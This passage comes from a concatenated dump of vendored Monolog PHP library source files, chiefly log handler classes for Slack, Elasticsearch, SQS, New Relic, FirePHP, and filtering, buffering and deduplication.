} } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (empty($_SERVER['HTTP_USER_AGENT'])) { return false; } return preg_match(static::USER_AGENT_REGEX, $_SERVER['HTTP_USER_AGENT']) === 1; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SlackHandler.php000064400000015554147577714370023131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Logger; use Monolog\Utils; use Monolog\Handler\Slack\SlackRecord; /** * Sends notifications through Slack API * * @author Greg Kedzierski * @see https://api.slack.com/ * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class SlackHandler extends SocketHandler { /** * Slack API token * @var string */ private $token; /** * Instance of the SlackRecord util class preparing data for Slack API. * @var SlackRecord */ private $slackRecord; /** * @param string $token Slack API token * @param string $channel Slack channel (encoded ID or name) * @param string|null $username Name of a bot * @param bool $useAttachment Whether the message should be added to Slack as attachment (plain text otherwise) * @param string|null $iconEmoji The emoji name to use (or null) * @param bool $useShortAttachment Whether the context/extra messages added to Slack as attachments are in a short style * @param bool $includeContextAndExtra Whether the attachment should include context and extra data * @param string[] $excludeFields Dot separated list of fields to exclude from slack message. E.g. ['context.field1', 'extra.field2'] * @throws MissingExtensionException If no OpenSSL PHP extension configured */ public function __construct( string $token, string $channel, ?string $username = null, bool $useAttachment = true, ?string $iconEmoji = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useShortAttachment = false, bool $includeContextAndExtra = false, array $excludeFields = array(), bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the SlackHandler'); } parent::__construct( 'ssl://slack.com:443', $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->slackRecord = new SlackRecord( $channel, $username, $useAttachment, $iconEmoji, $useShortAttachment, $includeContextAndExtra, $excludeFields ); $this->token = $token; } public function getSlackRecord(): SlackRecord { return $this->slackRecord; } public function getToken(): string { return $this->token; } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call * * @phpstan-param FormattedRecord $record */ private function buildContent(array $record): string { $dataArray = $this->prepareContentData($record); return http_build_query($dataArray); } /** * @phpstan-param FormattedRecord $record * @return string[] */ protected function prepareContentData(array $record): array { $dataArray = $this->slackRecord->getSlackData($record); $dataArray['token'] = $this->token; if (!empty($dataArray['attachments'])) { $dataArray['attachments'] = Utils::jsonEncode($dataArray['attachments']); } return $dataArray; } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /api/chat.postMessage HTTP/1.1\r\n"; $header .= "Host: slack.com\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } /** * {@inheritDoc} */ protected function write(array $record): void { parent::write($record); $this->finalizeWrite(); } /** * Finalizes the request by reading some bytes and then closing the socket * * If we do not read some but close the socket too early, slack sometimes * drops the request entirely. */ protected function finalizeWrite(): void { $res = $this->getResource(); if (is_resource($res)) { @fread($res, 2048); } $this->closeSocket(); } public function setFormatter(FormatterInterface $formatter): HandlerInterface { parent::setFormatter($formatter); $this->slackRecord->setFormatter($formatter); return $this; } public function getFormatter(): FormatterInterface { $formatter = parent::getFormatter(); $this->slackRecord->setFormatter($formatter); return $formatter; } /** * Channel used by the bot when posting */ public function setChannel(string $channel): self { $this->slackRecord->setChannel($channel); return $this; } /** * Username used by the bot when posting */ public function setUsername(string $username): self { $this->slackRecord->setUsername($username); return $this; } public function useAttachment(bool $useAttachment): self { $this->slackRecord->useAttachment($useAttachment); return $this; } public function setIconEmoji(string $iconEmoji): self { $this->slackRecord->setUserIcon($iconEmoji); return $this; } public function useShortAttachment(bool $useShortAttachment): self { $this->slackRecord->useShortAttachment($useShortAttachment); return $this; } public function includeContextAndExtra(bool $includeContextAndExtra): self { $this->slackRecord->includeContextAndExtra($includeContextAndExtra); return $this; } /** * @param string[] $excludeFields */ public function excludeFields(array $excludeFields): self { $this->slackRecord->excludeFields($excludeFields); return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FingersCrossedHandler.php000064400000020425147577714370025005 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Handler\FingersCrossed\ErrorLevelActivationStrategy; use Monolog\Handler\FingersCrossed\ActivationStrategyInterface; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; use Psr\Log\LogLevel; /** * Buffers all records until a certain level is reached * * The advantage of this approach is that you don't get any clutter in your log files. * Only requests which actually trigger an error (or whatever your actionLevel is) will be * in the logs, but they will contain all records, not only those above the level threshold. * * You can then have a passthruLevel as well which means that at the end of the request, * even if it did not get activated, it will still send through log records of e.g. at least a * warning level. * * You can find the various activation strategies in the * Monolog\Handler\FingersCrossed\ namespace. * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class FingersCrossedHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * @var callable|HandlerInterface * @phpstan-var callable(?Record, HandlerInterface): HandlerInterface|HandlerInterface */ protected $handler; /** @var ActivationStrategyInterface */ protected $activationStrategy; /** @var bool */ protected $buffering = true; /** @var int */ protected $bufferSize; /** @var Record[] */ protected $buffer = []; /** @var bool */ protected $stopBuffering; /** * @var ?int * @phpstan-var ?Level */ protected $passthruLevel; /** @var bool */ protected $bubble; /** * @psalm-param HandlerInterface|callable(?Record, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $fingersCrossedHandler). * @param int|string|ActivationStrategyInterface $activationStrategy Strategy which determines when this handler takes action, or a level name/value at which the handler is activated * @param int $bufferSize How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param bool $stopBuffering Whether the handler should stop buffering after being triggered (default true) * @param int|string $passthruLevel Minimum level to always flush to handler on close, even if strategy not triggered * * @phpstan-param Level|LevelName|LogLevel::* $passthruLevel * @phpstan-param Level|LevelName|LogLevel::*|ActivationStrategyInterface $activationStrategy */ public function __construct($handler, $activationStrategy = null, int $bufferSize = 0, bool $bubble = true, bool $stopBuffering = true, $passthruLevel = null) { if (null === $activationStrategy) { $activationStrategy = new ErrorLevelActivationStrategy(Logger::WARNING); } // convert simple int activationStrategy to an object if (!$activationStrategy instanceof ActivationStrategyInterface) { $activationStrategy = new ErrorLevelActivationStrategy($activationStrategy); } $this->handler = $handler; $this->activationStrategy = $activationStrategy; $this->bufferSize = $bufferSize; $this->bubble = $bubble; $this->stopBuffering = $stopBuffering; if ($passthruLevel !== null) { $this->passthruLevel = Logger::toMonologLevel($passthruLevel); } if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } /** * {@inheritDoc} */ public function isHandling(array $record): bool { return true; } /** * Manually activate this logger regardless of the activation strategy */ public function activate(): void { if ($this->stopBuffering) { $this->buffering = false; } $this->getHandler(end($this->buffer) ?: null)->handleBatch($this->buffer); $this->buffer = []; } /** * {@inheritDoc} */ public function handle(array $record): bool { if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } if ($this->buffering) { $this->buffer[] = $record; if ($this->bufferSize > 0 && count($this->buffer) > $this->bufferSize) { array_shift($this->buffer); } if ($this->activationStrategy->isHandlerActivated($record)) { $this->activate(); } } else { $this->getHandler($record)->handle($record); } return false === $this->bubble; } /** * {@inheritDoc} */ public function close(): void { $this->flushBuffer(); $this->getHandler()->close(); } public function reset() { $this->flushBuffer(); $this->resetProcessors(); if ($this->getHandler() instanceof ResettableInterface) { $this->getHandler()->reset(); } } /** * Clears the buffer without flushing any messages down to the wrapped handler. * * It also resets the handler to its initial buffering state. */ public function clear(): void { $this->buffer = []; $this->reset(); } /** * Resets the state of the handler. Stops forwarding records to the wrapped handler. */ private function flushBuffer(): void { if (null !== $this->passthruLevel) { $level = $this->passthruLevel; $this->buffer = array_filter($this->buffer, function ($record) use ($level) { return $record['level'] >= $level; }); if (count($this->buffer) > 0) { $this->getHandler(end($this->buffer))->handleBatch($this->buffer); } } $this->buffer = []; $this->buffering = true; } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface * * @phpstan-param Record $record */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ElasticaHandler.php000064400000006400147577714370023607 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Elastica\Document; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\ElasticaFormatter; use Monolog\Logger; use Elastica\Client; use Elastica\Exception\ExceptionInterface; /** * Elastic Search handler * * Usage example: * * $client = new \Elastica\Client(); * $options = array( * 'index' => 'elastic_index_name', * 'type' => 'elastic_doc_type', Types have been removed in Elastica 7 * ); * $handler = new ElasticaHandler($client, $options); * $log = new Logger('application'); * $log->pushHandler($handler); * * @author Jelle Vink */ class ElasticaHandler extends AbstractProcessingHandler { /** * @var Client */ protected $client; /** * @var mixed[] Handler config options */ protected $options = []; /** * @param Client $client Elastica Client object * @param mixed[] $options Handler configuration */ public function __construct(Client $client, array $options = [], $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $client; $this->options = array_merge( [ 'index' => 'monolog', // Elastic index name 'type' => 'record', // Elastic document type 'ignore_error' => false, // Suppress Elastica exceptions ], $options ); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->bulkSend([$record['formatted']]); } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($formatter instanceof ElasticaFormatter) { return parent::setFormatter($formatter); } throw new \InvalidArgumentException('ElasticaHandler is only compatible with ElasticaFormatter'); } /** * @return mixed[] */ public function getOptions(): array { return $this->options; } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new ElasticaFormatter($this->options['index'], $this->options['type']); } /** * {@inheritDoc} */ public function handleBatch(array $records): void { $documents = $this->getFormatter()->formatBatch($records); $this->bulkSend($documents); } /** * Use Elasticsearch bulk API to send list of documents * * @param Document[] $documents * * @throws \RuntimeException */ protected function bulkSend(array $documents): void { try { $this->client->addDocuments($documents); } catch (ExceptionInterface $e) { if (!$this->options['ignore_error']) { throw new \RuntimeException("Error sending messages to Elasticsearch", 0, $e); } } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FormattableHandlerInterface.php000064400000001515147577714370026145 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; /** * Interface to describe loggers that have a formatter * * @author Jordi Boggiano */ interface FormattableHandlerInterface { /** * Sets the formatter. * * @param FormatterInterface $formatter * @return HandlerInterface self */ public function setFormatter(FormatterInterface $formatter): HandlerInterface; /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface; } res/readability/vendor/monolog/monolog/src/Monolog/Handler/MissingExtensionException.php000064400000000731147577714370025752 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Exception can be thrown if an extension for a handler is missing * * @author Christian Bergau */ class MissingExtensionException extends \Exception { } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ZendMonitorHandler.php000064400000006101147577714370024330 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\FormatterInterface; use Monolog\Formatter\NormalizerFormatter; use Monolog\Logger; /** * Handler sending logs to Zend Monitor * * @author Christian Bergau * @author Jason Davis * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class ZendMonitorHandler extends AbstractProcessingHandler { /** * Monolog level / ZendMonitor Custom Event priority map * * @var array */ protected $levelMap = []; /** * @throws MissingExtensionException */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { if (!function_exists('zend_monitor_custom_event')) { throw new MissingExtensionException( 'You must have Zend Server installed with Zend Monitor enabled in order to use this handler' ); } //zend monitor constants are not defined if zend monitor is not enabled. $this->levelMap = [ Logger::DEBUG => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::INFO => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::NOTICE => \ZEND_MONITOR_EVENT_SEVERITY_INFO, Logger::WARNING => \ZEND_MONITOR_EVENT_SEVERITY_WARNING, Logger::ERROR => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::CRITICAL => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::ALERT => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, Logger::EMERGENCY => \ZEND_MONITOR_EVENT_SEVERITY_ERROR, ]; parent::__construct($level, $bubble); } /** * {@inheritDoc} */ protected function write(array $record): void { $this->writeZendMonitorCustomEvent( Logger::getLevelName($record['level']), $record['message'], $record['formatted'], $this->levelMap[$record['level']] ); } /** * Write to Zend Monitor Events * @param string $type Text displayed in "Class Name (custom)" field * @param string $message Text displayed in "Error String" * @param array $formatted Displayed in Custom Variables tab * @param int $severity Set the event severity level (-1,0,1) * * @phpstan-param FormattedRecord $formatted */ protected function writeZendMonitorCustomEvent(string $type, string $message, array $formatted, int $severity): void { zend_monitor_custom_event($type, $message, $formatted, $severity); } /** * {@inheritDoc} */ public function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } /** * @return array */ public function getLevelMap(): array { return $this->levelMap; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FirePHPHandler.php000064400000012250147577714370023317 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Formatter\WildfireFormatter; use Monolog\Formatter\FormatterInterface; /** * Simple FirePHP Handler (http://www.firephp.org/), which uses the Wildfire protocol. * * @author Eric Clemmons (@ericclemmons) * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class FirePHPHandler extends AbstractProcessingHandler { use WebRequestRecognizerTrait; /** * WildFire JSON header message format */ protected const PROTOCOL_URI = 'http://meta.wildfirehq.org/Protocol/JsonStream/0.2'; /** * FirePHP structure for parsing messages & their presentation */ protected const STRUCTURE_URI = 'http://meta.firephp.org/Wildfire/Structure/FirePHP/FirebugConsole/0.1'; /** * Must reference a "known" plugin, otherwise headers won't display in FirePHP */ protected const PLUGIN_URI = 'http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3'; /** * Header prefix for Wildfire to recognize & parse headers */ protected const HEADER_PREFIX = 'X-Wf'; /** * Whether or not Wildfire vendor-specific headers have been generated & sent yet * @var bool */ protected static $initialized = false; /** * Shared static message index between potentially multiple handlers * @var int */ protected static $messageIndex = 1; /** @var bool */ protected static $sendHeaders = true; /** * Base header creation function used by init headers & record headers * * @param array $meta Wildfire Plugin, Protocol & Structure Indexes * @param string $message Log message * * @return array Complete header string ready for the client as key and message as value * * @phpstan-return non-empty-array */ protected function createHeader(array $meta, string $message): array { $header = sprintf('%s-%s', static::HEADER_PREFIX, join('-', $meta)); return [$header => $message]; } /** * Creates message header from record * * @return array * * @phpstan-return non-empty-array * * @see createHeader() * * @phpstan-param FormattedRecord $record */ protected function createRecordHeader(array $record): array { // Wildfire is extensible to support multiple protocols & plugins in a single request, // but we're not taking advantage of that (yet), so we're using "1" for simplicity's sake. return $this->createHeader( [1, 1, 1, self::$messageIndex++], $record['formatted'] ); } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new WildfireFormatter(); } /** * Wildfire initialization headers to enable message parsing * * @see createHeader() * @see sendHeader() * * @return array */ protected function getInitHeaders(): array { // Initial payload consists of required headers for Wildfire return array_merge( $this->createHeader(['Protocol', 1], static::PROTOCOL_URI), $this->createHeader([1, 'Structure', 1], static::STRUCTURE_URI), $this->createHeader([1, 'Plugin', 1], static::PLUGIN_URI) ); } /** * Send header string to the client */ protected function sendHeader(string $header, string $content): void { if (!headers_sent() && self::$sendHeaders) { header(sprintf('%s: %s', $header, $content)); } } /** * Creates & sends header for a record, ensuring init headers have been sent prior * * @see sendHeader() * @see sendInitHeaders() */ protected function write(array $record): void { if (!self::$sendHeaders || !$this->isWebRequest()) { return; } // WildFire-specific headers must be sent prior to any messages if (!self::$initialized) { self::$initialized = true; self::$sendHeaders = $this->headersAccepted(); if (!self::$sendHeaders) { return; } foreach ($this->getInitHeaders() as $header => $content) { $this->sendHeader($header, $content); } } $header = $this->createRecordHeader($record); if (trim(current($header)) !== '') { $this->sendHeader(key($header), current($header)); } } /** * Verifies if the headers are accepted by the current user agent */ protected function headersAccepted(): bool { if (!empty($_SERVER['HTTP_USER_AGENT']) && preg_match('{\bFirePHP/\d+\.\d+\b}', $_SERVER['HTTP_USER_AGENT'])) { return true; } return isset($_SERVER['HTTP_X_FIREPHP_VERSION']); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/WebRequestRecognizerTrait.php000064400000001014147577714370025702 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; trait WebRequestRecognizerTrait { /** * Checks if PHP's serving a web request * @return bool */ protected function isWebRequest(): bool { return 'cli' !== \PHP_SAPI && 'phpdbg' !== \PHP_SAPI; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SqsHandler.php000064400000003322147577714370022630 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Aws\Sqs\SqsClient; use Monolog\Logger; use Monolog\Utils; /** * Writes to any sqs queue. * * @author Martijn van Calker */ class SqsHandler extends AbstractProcessingHandler { /** 256 KB in bytes - maximum message size in SQS */ protected const MAX_MESSAGE_SIZE = 262144; /** 100 KB in bytes - head message size for new error log */ protected const HEAD_MESSAGE_SIZE = 102400; /** @var SqsClient */ private $client; /** @var string */ private $queueUrl; public function __construct(SqsClient $sqsClient, string $queueUrl, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->client = $sqsClient; $this->queueUrl = $queueUrl; } /** * {@inheritDoc} */ protected function write(array $record): void { if (!isset($record['formatted']) || 'string' !== gettype($record['formatted'])) { throw new \InvalidArgumentException('SqsHandler accepts only formatted records as a string' . Utils::getRecordMessageForException($record)); } $messageBody = $record['formatted']; if (strlen($messageBody) >= static::MAX_MESSAGE_SIZE) { $messageBody = Utils::substr($messageBody, 0, static::HEAD_MESSAGE_SIZE); } $this->client->sendMessage([ 'QueueUrl' => $this->queueUrl, 'MessageBody' => $messageBody, ]); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/NewRelicHandler.php000064400000014103147577714370023571 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\NormalizerFormatter; use Monolog\Formatter\FormatterInterface; /** * Class to record a log on a NewRelic application. * Enabling New Relic High Security mode may prevent capture of useful information. * * This handler requires a NormalizerFormatter to function and expects an array in $record['formatted'] * * @see https://docs.newrelic.com/docs/agents/php-agent * @see https://docs.newrelic.com/docs/accounts-partnerships/accounts/security/high-security */ class NewRelicHandler extends AbstractProcessingHandler { /** * Name of the New Relic application that will receive logs from this handler. * * @var ?string */ protected $appName; /** * Name of the current transaction * * @var ?string */ protected $transactionName; /** * Some context and extra data is passed into the handler as arrays of values. Do we send them as is * (useful if we are using the API), or explode them for display on the NewRelic RPM website? * * @var bool */ protected $explodeArrays; /** * {@inheritDoc} * * @param string|null $appName * @param bool $explodeArrays * @param string|null $transactionName */ public function __construct( $level = Logger::ERROR, bool $bubble = true, ?string $appName = null, bool $explodeArrays = false, ?string $transactionName = null ) { parent::__construct($level, $bubble); $this->appName = $appName; $this->explodeArrays = $explodeArrays; $this->transactionName = $transactionName; } /** * {@inheritDoc} */ protected function write(array $record): void { if (!$this->isNewRelicEnabled()) { throw new MissingExtensionException('The newrelic PHP extension is required to use the NewRelicHandler'); } if ($appName = $this->getAppName($record['context'])) { $this->setNewRelicAppName($appName); } if ($transactionName = $this->getTransactionName($record['context'])) { $this->setNewRelicTransactionName($transactionName); unset($record['formatted']['context']['transaction_name']); } if (isset($record['context']['exception']) && $record['context']['exception'] instanceof \Throwable) { newrelic_notice_error($record['message'], $record['context']['exception']); unset($record['formatted']['context']['exception']); } else { newrelic_notice_error($record['message']); } if (isset($record['formatted']['context']) && is_array($record['formatted']['context'])) { foreach ($record['formatted']['context'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('context_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('context_' . $key, $parameter); } } } if (isset($record['formatted']['extra']) && is_array($record['formatted']['extra'])) { foreach ($record['formatted']['extra'] as $key => $parameter) { if (is_array($parameter) && $this->explodeArrays) { foreach ($parameter as $paramKey => $paramValue) { $this->setNewRelicParameter('extra_' . $key . '_' . $paramKey, $paramValue); } } else { $this->setNewRelicParameter('extra_' . $key, $parameter); } } } } /** * Checks whether the NewRelic extension is enabled in the system. * * @return bool */ protected function isNewRelicEnabled(): bool { return extension_loaded('newrelic'); } /** * Returns the appname where this log should be sent. Each log can override the default appname, set in this * handler's constructor, by providing the appname in it's context. * * @param mixed[] $context */ protected function getAppName(array $context): ?string { if (isset($context['appname'])) { return $context['appname']; } return $this->appName; } /** * Returns the name of the current transaction. Each log can override the default transaction name, set in this * handler's constructor, by providing the transaction_name in it's context * * @param mixed[] $context */ protected function getTransactionName(array $context): ?string { if (isset($context['transaction_name'])) { return $context['transaction_name']; } return $this->transactionName; } /** * Sets the NewRelic application that should receive this log. */ protected function setNewRelicAppName(string $appName): void { newrelic_set_appname($appName); } /** * Overwrites the name of the current transaction */ protected function setNewRelicTransactionName(string $transactionName): void { newrelic_name_transaction($transactionName); } /** * @param string $key * @param mixed $value */ protected function setNewRelicParameter(string $key, $value): void { if (null === $value || is_scalar($value)) { newrelic_add_custom_parameter($key, $value); } else { newrelic_add_custom_parameter($key, Utils::jsonEncode($value, null, true)); } } /** * {@inheritDoc} */ protected function getDefaultFormatter(): FormatterInterface { return new NormalizerFormatter(); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FilterHandler.php000064400000015317147577714370023316 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; use Psr\Log\LogLevel; /** * Simple handler wrapper that filters records based on a list of levels * * It can be configured with an exact list of levels to allow, or a min/max level. * * @author Hennadiy Verkh * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class FilterHandler extends Handler implements ProcessableHandlerInterface, ResettableInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** * Handler or factory callable($record, $this) * * @var callable|HandlerInterface * @phpstan-var callable(?Record, HandlerInterface): HandlerInterface|HandlerInterface */ protected $handler; /** * Minimum level for logs that are passed to handler * * @var int[] * @phpstan-var array */ protected $acceptedLevels; /** * Whether the messages that are handled can bubble up the stack or not * * @var bool */ protected $bubble; /** * @psalm-param HandlerInterface|callable(?Record, HandlerInterface): HandlerInterface $handler * * @param callable|HandlerInterface $handler Handler or factory callable($record|null, $filterHandler). * @param int|array $minLevelOrList A list of levels to accept or a minimum level if maxLevel is provided * @param int|string $maxLevel Maximum level to accept, only used if $minLevelOrList is not an array * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @phpstan-param Level|LevelName|LogLevel::*|array $minLevelOrList * @phpstan-param Level|LevelName|LogLevel::* $maxLevel */ public function __construct($handler, $minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY, bool $bubble = true) { $this->handler = $handler; $this->bubble = $bubble; $this->setAcceptedLevels($minLevelOrList, $maxLevel); if (!$this->handler instanceof HandlerInterface && !is_callable($this->handler)) { throw new \RuntimeException("The given handler (".json_encode($this->handler).") is not a callable nor a Monolog\Handler\HandlerInterface object"); } } /** * @phpstan-return array */ public function getAcceptedLevels(): array { return array_flip($this->acceptedLevels); } /** * @param int|string|array $minLevelOrList A list of levels to accept or a minimum level or level name if maxLevel is provided * @param int|string $maxLevel Maximum level or level name to accept, only used if $minLevelOrList is not an array * * @phpstan-param Level|LevelName|LogLevel::*|array $minLevelOrList * @phpstan-param Level|LevelName|LogLevel::* $maxLevel */ public function setAcceptedLevels($minLevelOrList = Logger::DEBUG, $maxLevel = Logger::EMERGENCY): self { if (is_array($minLevelOrList)) { $acceptedLevels = array_map('Monolog\Logger::toMonologLevel', $minLevelOrList); } else { $minLevelOrList = Logger::toMonologLevel($minLevelOrList); $maxLevel = Logger::toMonologLevel($maxLevel); $acceptedLevels = array_values(array_filter(Logger::getLevels(), function ($level) use ($minLevelOrList, $maxLevel) { return $level >= $minLevelOrList && $level <= $maxLevel; })); } $this->acceptedLevels = array_flip($acceptedLevels); return $this; } /** * {@inheritDoc} */ public function isHandling(array $record): bool { return isset($this->acceptedLevels[$record['level']]); } /** * {@inheritDoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } $this->getHandler($record)->handle($record); return false === $this->bubble; } /** * {@inheritDoc} */ public function handleBatch(array $records): void { $filtered = []; foreach ($records as $record) { if ($this->isHandling($record)) { $filtered[] = $record; } } if (count($filtered) > 0) { $this->getHandler($filtered[count($filtered) - 1])->handleBatch($filtered); } } /** * Return the nested handler * * If the handler was provided as a factory callable, this will trigger the handler's instantiation. * * @return HandlerInterface * * @phpstan-param Record $record */ public function getHandler(array $record = null) { if (!$this->handler instanceof HandlerInterface) { $this->handler = ($this->handler)($record, $this); if (!$this->handler instanceof HandlerInterface) { throw new \RuntimeException("The factory callable should return a HandlerInterface"); } } return $this->handler; } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { $handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { $handler = $this->getHandler(); if ($handler instanceof FormattableHandlerInterface) { return $handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($handler).' does not support formatters.'); } public function reset() { $this->resetProcessors(); if ($this->getHandler() instanceof ResettableInterface) { $this->getHandler()->reset(); } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/DeduplicationHandler.php000064400000013657147577714370024662 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LogLevel; /** * Simple handler wrapper that deduplicates log records across multiple requests * * It also includes the BufferHandler functionality and will buffer * all messages until the end of the request or flush() is called. * * This works by storing all log records' messages above $deduplicationLevel * to the file specified by $deduplicationStore. When further logs come in at the end of the * request (or when flush() is called), all those above $deduplicationLevel are checked * against the existing stored logs. If they match and the timestamps in the stored log is * not older than $time seconds, the new log record is discarded. If no log record is new, the * whole data set is discarded. * * This is mainly useful in combination with Mail handlers or things like Slack or HipChat handlers * that send messages to people, to avoid spamming with the same message over and over in case of * a major component failure like a database server being down which makes all requests fail in the * same way. * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger */ class DeduplicationHandler extends BufferHandler { /** * @var string */ protected $deduplicationStore; /** * @var Level */ protected $deduplicationLevel; /** * @var int */ protected $time; /** * @var bool */ private $gc = false; /** * @param HandlerInterface $handler Handler. * @param string $deduplicationStore The file/path where the deduplication log should be kept * @param string|int $deduplicationLevel The minimum logging level for log records to be looked at for deduplication purposes * @param int $time The period (in seconds) during which duplicate entries should be suppressed after a given log is sent through * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @phpstan-param Level|LevelName|LogLevel::* $deduplicationLevel */ public function __construct(HandlerInterface $handler, ?string $deduplicationStore = null, $deduplicationLevel = Logger::ERROR, int $time = 60, bool $bubble = true) { parent::__construct($handler, 0, Logger::DEBUG, $bubble, false); $this->deduplicationStore = $deduplicationStore === null ? sys_get_temp_dir() . '/monolog-dedup-' . substr(md5(__FILE__), 0, 20) .'.log' : $deduplicationStore; 